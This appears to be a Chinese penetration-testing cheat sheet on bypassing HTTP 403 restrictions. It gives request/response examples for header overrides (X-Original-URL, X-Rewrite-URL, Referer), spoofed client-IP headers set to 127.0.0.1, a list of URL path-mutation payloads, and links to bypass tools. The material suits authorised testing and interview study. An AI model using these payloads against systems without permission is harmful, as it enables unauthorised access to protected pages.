做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到,这里做个总结!
X-Original-URL
和X-Rewrite-URL
标头绕过Web服务器的限制。通过支持X-Original-URL
和X-Rewrite-URL
标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
或者:
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
或者
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
X-Forwarded-For
、X-Forwared-Host
等标头绕过Web服务器的限制。X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
如:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK
site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
https://github.com/sting8k/BurpSuite_403Bypasser
https://github.com/yunemse48/403bypasser
https://github.com/devploit/dontgo403
https://github.com/daffainfo/bypass-403
https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass
推荐阅读